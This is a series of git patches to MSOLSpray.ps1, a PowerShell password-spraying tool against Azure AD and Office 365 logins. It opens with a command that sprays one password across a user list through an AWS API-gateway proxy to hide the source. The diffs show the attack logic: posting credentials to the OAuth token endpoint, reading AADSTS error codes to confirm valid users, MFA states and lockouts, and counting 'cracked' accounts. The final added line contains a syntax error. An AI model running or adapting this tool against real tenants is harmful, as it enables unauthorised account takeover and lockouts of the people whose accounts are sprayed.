+Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 -Delay 10 -UserAgent UA -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -UserAgent SpecialString -OutFile valid-users.txt ``` ### Invoke-MSOLSpray Options From 193dd66cb33ed25b124dd1208739c095b90d2b4a Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Wed, 8 Feb 2023 08:34:35 -0500 Subject: [PATCH 21/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index d76f582..0d5b8e1 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -129,9 +129,9 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - Write-Output "[*] Valid user, but invalid password $username : $password" + Write-Output -ForegroundColor "white" "[*] Valid user, but invalid password $username : $password" $fullresults += "Valid user, but invalid password : $username" - #continue + #continue } # Invalid Tenant Response From 7d4877b52edadd26d957cf4e35d5aa29577ce6d1 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Wed, 8 Feb 2023 09:03:37 -0500 Subject: [PATCH 22/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 0d5b8e1..f12c4b3 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -117,7 +117,7 @@ function Invoke-MSOLSpray{ # If we get a 200 response code it's a valid cred If ($webrequest.StatusCode -eq "200"){ - Write-Host -ForegroundColor "green" "[+] $username : $password" + Write-Host -ForegroundColor "green" "[+] $username : $password" $webrequest = "" $fullresults += "$username : $password" } @@ -129,7 +129,7 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - Write-Output -ForegroundColor "white" "[*] Valid user, but invalid password $username : $password" + Write-Host -ForegroundColor "white" "[*] Valid user, but invalid password $username : $password" $fullresults += "Valid user, but invalid password : $username" #continue } @@ -137,13 +137,13 @@ function Invoke-MSOLSpray{ # Invalid Tenant Response ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059")) { - Write-Output -ForegroundColor "yellow" "[-] Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." + Write-Host -ForegroundColor "yellow" "[-] Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." } # Invalid Username ElseIf($RespErr -match "AADSTS50034") { - Write-Output -ForegroundColor "yellow" "[-] $username doesn't exist. Invalid Username." + Write-Host -ForegroundColor "yellow" "[-] $username doesn't exist. Invalid Username." } # Microsoft MFA response @@ -163,14 +163,14 @@ function Invoke-MSOLSpray{ # Locked out account or Smart Lockout in place ElseIf($RespErr -match "AADSTS50053") { - Write-Output -ForegroundColor "yellow" "[-] The account $username appears to be locked." + Write-Host -ForegroundColor "yellow" "[-] The account $username appears to be locked." $lockout_count++ } # Disabled account ElseIf($RespErr -match "AADSTS50057") { - Write-Output -ForegroundColor "yellow" "[-] The account $username appears to be disabled." + Write-Host -ForegroundColor "yellow" "[-] The account $username appears to be disabled." } # User password is expired @@ -187,7 +187,7 @@ function Invoke-MSOLSpray{ # Unknown errors Else { - Write-Output -ForegroundColor "red" "[!] Got an error we haven't seen yet for user $username = $RespErr" + Write-Host -ForegroundColor "red" "[!] Got an error we haven't seen yet for user $username = $RespErr" $RespErr } } From a4b7ef33a9b250c91d5a1e994eb340a2a5c129ae Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Fri, 10 Feb 2023 10:19:02 -0500 Subject: [PATCH 23/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index f12c4b3..ea5ff78 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -163,7 +163,7 @@ function Invoke-MSOLSpray{ # Locked out account or Smart Lockout in place ElseIf($RespErr -match "AADSTS50053") { - Write-Host -ForegroundColor "yellow" "[-] The account $username appears to be locked." + Write-Host -ForegroundColor "red" "[!] The account $username appears to be locked." $lockout_count++ } From fcf7c44ac44c7efab210f1736d5c945c594fb229 Mon Sep 17 00:00:00 2001 From: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> Date: Fri, 17 Feb 2023 08:52:19 -0500 Subject: [PATCH 24/24] Update MSOLSpray.ps1 Signed-off-by: ceramicskate0 <64501203+ceramic-skate0@users.noreply.github.com> --- MSOLSpray.ps1 | 34 ++++++++++++++-------------------- 1 file changed, 14 insertions(+), 20 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index ea5ff78..8af6a8e 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -68,7 +68,7 @@ function Invoke-MSOLSpray{ [Parameter(Position = 3, Mandatory = $False)] [Int] - $Delay = 5, + $Delay = 10, [Parameter(Position = 4, Mandatory = $False)] [string] @@ -113,13 +113,13 @@ function Invoke-MSOLSpray{ Start-Sleep -Seconds $SleepTime } - $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable RespErr + $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -UserAgent $UserAgent -ErrorVariable RespErr - # If we get a 200 response code it's a valid cred + # If we get a 200 response code it's a valid cred If ($webrequest.StatusCode -eq "200"){ Write-Host -ForegroundColor "green" "[+] $username : $password" $webrequest = "" - $fullresults += "$username : $password" + $fullresults += "[+] $username : $password" } else{ # Check the response for indication of MFA, tenant, valid user, etc... @@ -129,57 +129,50 @@ function Invoke-MSOLSpray{ # Standard invalid password If($RespErr -match "AADSTS50126") { - Write-Host -ForegroundColor "white" "[*] Valid user, but invalid password $username : $password" + Write-Host -ForegroundColor "white" "[*] Valid user, but invalid password $username : $password" $fullresults += "Valid user, but invalid password : $username" - #continue + #continue } - # Invalid Tenant Response ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059")) { Write-Host -ForegroundColor "yellow" "[-] Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." } - # Invalid Username ElseIf($RespErr -match "AADSTS50034") { Write-Host -ForegroundColor "yellow" "[-] $username doesn't exist. Invalid Username." } - # Microsoft MFA response ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076")) { Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates MFA (Microsoft) is in use." $fullresults += "$username : $password" } - # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA) ElseIf($RespErr -match "AADSTS50158") { Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use." $fullresults += "$username : $password" } - # Locked out account or Smart Lockout in place ElseIf($RespErr -match "AADSTS50053") { - Write-Host -ForegroundColor "red" "[!] The account $username appears to be locked." + Write-Host -ForegroundColor "red" "[-] The account $username appears to be locked." $lockout_count++ } - # Disabled account ElseIf($RespErr -match "AADSTS50057") { Write-Host -ForegroundColor "yellow" "[-] The account $username appears to be disabled." } - # User password is expired ElseIf($RespErr -match "AADSTS50055") { Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The user's password is expired." $fullresults += "$username : $password" } - ElseIf(($RespErr -match "AADSTS53003")-or ($RespErr -match "AADSTS53000")) + ElseIf(($RespErr -match "AADSTS53003") -or ($RespErr -match "AADSTS53000")) { Write-Host -ForegroundColor "green" "[+] $username : $password - NOTE: The response indicates a conditional access policy is in place and the policy blocks token issuance." $fullresults += "$username : $password" @@ -195,8 +188,8 @@ function Invoke-MSOLSpray{ # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0) { - $title = "WARNING! Multiple Account Lockouts Detected!" - $message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?" + $title = "[!] WARNING! Multiple Account Lockouts Detected!" + $message = "[!] 10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?" $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` "Continues the password spray." @@ -210,12 +203,13 @@ function Invoke-MSOLSpray{ $lockoutquestion++ if ($result -ne 0) { - Write-Host "[*] Cancelling the password spray." - Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled." + Write-Host -ForegroundColor "red" "[!] Cancelling the password spray." + Write-Host -ForegroundColor "yellow" "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled." break } } - + $Matches = Select-String -InputObject $fullresults -Pattern "[+]" -AllMatches + Write-Host "green" "Number of Cracked accounts: $(Matches.Matches.Count) " } # Output to file